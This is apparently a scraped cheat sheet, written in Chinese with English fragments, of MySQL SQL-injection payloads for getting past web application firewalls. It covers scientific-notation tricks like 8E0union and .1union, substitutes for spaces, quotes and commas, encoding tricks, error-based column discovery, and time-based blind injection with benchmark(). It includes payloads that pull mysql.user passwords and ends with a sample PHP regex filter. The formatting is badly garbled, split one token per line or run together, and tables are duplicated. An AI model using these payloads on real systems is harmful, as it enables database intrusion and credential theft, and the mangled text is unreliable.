-
select
*
from users
where
id
=
8E0union
select
1
,
2
,
3
,
4
,
5
,
6
,
7
,
8
,
9
,
0
这里可以
where
id
=1
8E0union
-
select
*
from users
where
id
=
8.0union
select
1
,
2
,
3
,
4
,
5
,
6
,
7
,
8
,
9
,
0
这里可以
where
id
=1
8E0union
-
select
*
from users
where
id
=
\N
union
select
1
,
2
,
3
,
4
,
5
,
6
,
7
,
8
,
9
,
0
这里不可以可以
where
id
=1
8E0union<id后有字符、数字,与是否只能显示一行无关><where id =1 and 1=2\Nunion失败>
一般waf在防御的时候会识别union等关键词的单词边界,但是这个语句可以绕过单词边界的判定
原理:
利用了语法分析中浮点击指数后语境结束,然后直接执行后面的语句
where id=.1union/*.1*/select-.1<select后的第一个查询返回非查询结果>,或者这里1为查询参数<id =.1union/*.1*/select(user),password from mysql.user;>where id=.1union/*.1*/select!.1where id=.1union/*.1*/select~.1where id=.1union/*.1*/select(1)where id=.1union/*.1*/select`host`from mysql.userwhere id=.1union/*.1*/select'1'where id=.1union/*.1*/select"1"where id=.1union/*.1*/select@1
Mysql:
空格,且与符号(and or),单引号',逗号,,双引号",截断符号如:(# -- /*)
空格:
select * from(user); select * from`user`; 'and(true)like(false)union(select(pass)from(users))# 'union [all|distinct] select pass from users# 09 Horizontal Tab <用来替换空格> 0A New Line 0B Vertical Tab 0C New Page 0D Carriage Return A0 Non-breaking Space 20 Space且与符号(and or):
select * from user where host ='localhost' && 0=0 limit 0,1;select * from user where host ='localhost' || 1=1 limit 0,1;20 Space2B +2D -7E ~21 !40 @Example:SELECT 1 FROM dual WHERE 1=1 AND-+-+-+-+~~((1))● Prefixes (combine arbitrarily): + - ~ !' or --+2=- -!!!'2● Operators: ^, =, !=, %, /, *, &, &&, |, ||, <, >, >>, <<, >=, <=, <>,<=>,XOR, DIV, SOUNDS LIKE, RLIKE, REGEXP, IS, NOT, BETWEEN, ...' or 1 rlike '1
'-GBK编码%df';'-%2527 UNICODE编码
UNION SELECT * FROM ((SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c)//利用MySQL出错爆出字段mysql> SELECT * FROM (SELECT * FROM user A JOIN user B) C;ERROR 1060 (42S21): Duplicate column name 'Host'mysql> SELECT * FROM (SELECT * FROM user A JOIN user B USING (Host)) C;ERROR 1060 (42S21): Duplicate column name 'User'mysql> SELECT * FROM (SELECT * FROM user A JOIN user B USING (Host,User)) C;ERROR 1060 (42S21): Duplicate column name 'Password'
类同单引号的思路编码:' or 'a' = n'a # unicode' or 'a' = b'1100001 # binary' or 'a' = x'61 # hexadecimal' and substr(data,1,1) = 0x61# 0x6162' and substr(data,1,1) = unhex(61)# unhex(6162)' and substr(data,1,1) = char(97)# char(97,98)String builder (3)● Previous functions are well known● My favourite:' and substr(data,1,1) = lower(conv(10,10,36))# 'a'' and substr(data,1,1) = lower(conv(11,10,36))# 'b'' and substr(data,1,1) = lower(conv(36,10,36))# 'z'
常见的:# -- /*-- - SQL comment;%00 Nullbyte` Backtick
AND MID(VERSION(),1,1) = '5'AND SELECT SUBSTR(column_name,1,1) FROM information_schema.columns > 'A'' and substr(data,1,1) = 'a'#' and substring(data,1,1) = 'a'#' and mid(data,1,1) = 'a'#● All 3 functions work without comma too:' and substr(data from 1 for 1) = 'a'#lpad(data,1,space(1)) // lpad('hi',4,'?') = '??hi'rpad(data,1,space(1)) // rpad('hi',4,'?') = 'hi??'left(data,1)reverse(right(reverse(data),1))insert(insert(version(),1,0,space(0)),2,222,space(0))● Subselect:1'and 0x61=(/*foo*/SELECT mid(pass,1,1) from users limit1,1)and'1Some functions allow to search substrings:'-if(locate('f',data),1,0)#'-if(locate('fo',data),1,0)#'-if(locate('foo',data),1,0)#● Some functions allow to cut substrings:length(trim(leading 'a' FROM data)) # length will be shorterlength(replace(data, 'a', '')) # length will be shorterSubselect:foo'div count(select`pass`from(users)where mid(pass,1,1)rlikelower(conv(10,pi()*pi(),pi()*pi())) )-'0Blind SQL InjectionExample: select * from table where id = 1 AND if((ascii(lower(substring((select user()),$i,1))))!=$s,1,benchmark(2000000,md5(now())))
' - (IF(MID(version(),1,1) LIKE 5, BENCHMARK(100000,SHA1('true')), false)) - '
false !pi() 0 ceil(pi()*pi()) 10 ceil((pi()+pi())*pi()) 20true !!pi() 1 ceil(pi()*pi())+true 11 ceil(ceil(pi())*version()) 21true+true 2 ceil(pi()+pi()+version()) 12 ceil(pi()*ceil(pi()+pi())) 22floor(pi()) 3 floor(pi()*pi()+pi()) 13 ceil((pi()+ceil(pi()))*pi()) 23ceil(pi()) 4 ceil(pi()*pi()+pi()) 14 ceil(pi())*ceil(version()) 24floor(version()) 5 ceil(pi()*pi()+version()) 15 floor(pi()*(version()+pi())) 25ceil(version()) 6 floor(pi()*version()) 16 floor(version()*version()) 26ceil(pi()+pi()) 7 ceil(pi()*version()) 17 ceil(version()*version()) 27floor(version()+pi()) 8 ceil(pi()*version())+true 18 ceil(pi()*pi()*pi()-pi()) 28floor(pi()*pi()) 9 floor((pi()+pi())*pi()) 19 floor(pi()*pi()*floor(pi())) 29conv([10-36],10,36)false !pi() 0 ceil(pi()*pi()) 10 A ceil((pi()+pi())*pi()) 20 Ktrue !!pi() 1 ceil(pi()*pi())+true 11 B ceil(ceil(pi())*version()) 21 Ltrue+true 2 ceil(pi()+pi()+version()) 12 C ceil(pi()*ceil(pi()+pi())) 22 Mfloor(pi()) 3 floor(pi()*pi()+pi()) 13 D ceil((pi()+ceil(pi()))*pi()) 23 Nceil(pi()) 4 ceil(pi()*pi()+pi()) 14 E ceil(pi())*ceil(version()) 24 Ofloor(version()) 5 ceil(pi()*pi()+version()) 15 F floor(pi()*(version()+pi())) 25 Pceil(version()) 6 floor(pi()*version()) 16 G floor(version()*version()) 26 Qceil(pi()+pi()) 7 ceil(pi()*version()) 17 H ceil(version()*version()) 27 Rfloor(version()+pi()) 8 ceil(pi()*version())+true 18 I ceil(pi()*pi()*pi()-pi()) 28 Sfloor(pi()*pi()) 9 floor((pi()+pi())*pi()) 19 J floor(pi()*pi()*floor(pi())) 29 T
理解:
前边界稍微好办点,mysql下可以/*!50000union*/,现在一些waf是检测后面边界selectxxxx,判断xxxx这个边界,比如WAF检测到“|union.*select\b|is”就拦截。selectxxx,xxx要是字母、数字才能不匹配上,否则还是会拦截。
-
<?
php
-
$str
=
$_REQUEST
[
'str'
];
-
$re
=
preg_match
(
'|union.*select\b|is'
,
$str
);
-
var_dump
(
$re
);
-
?>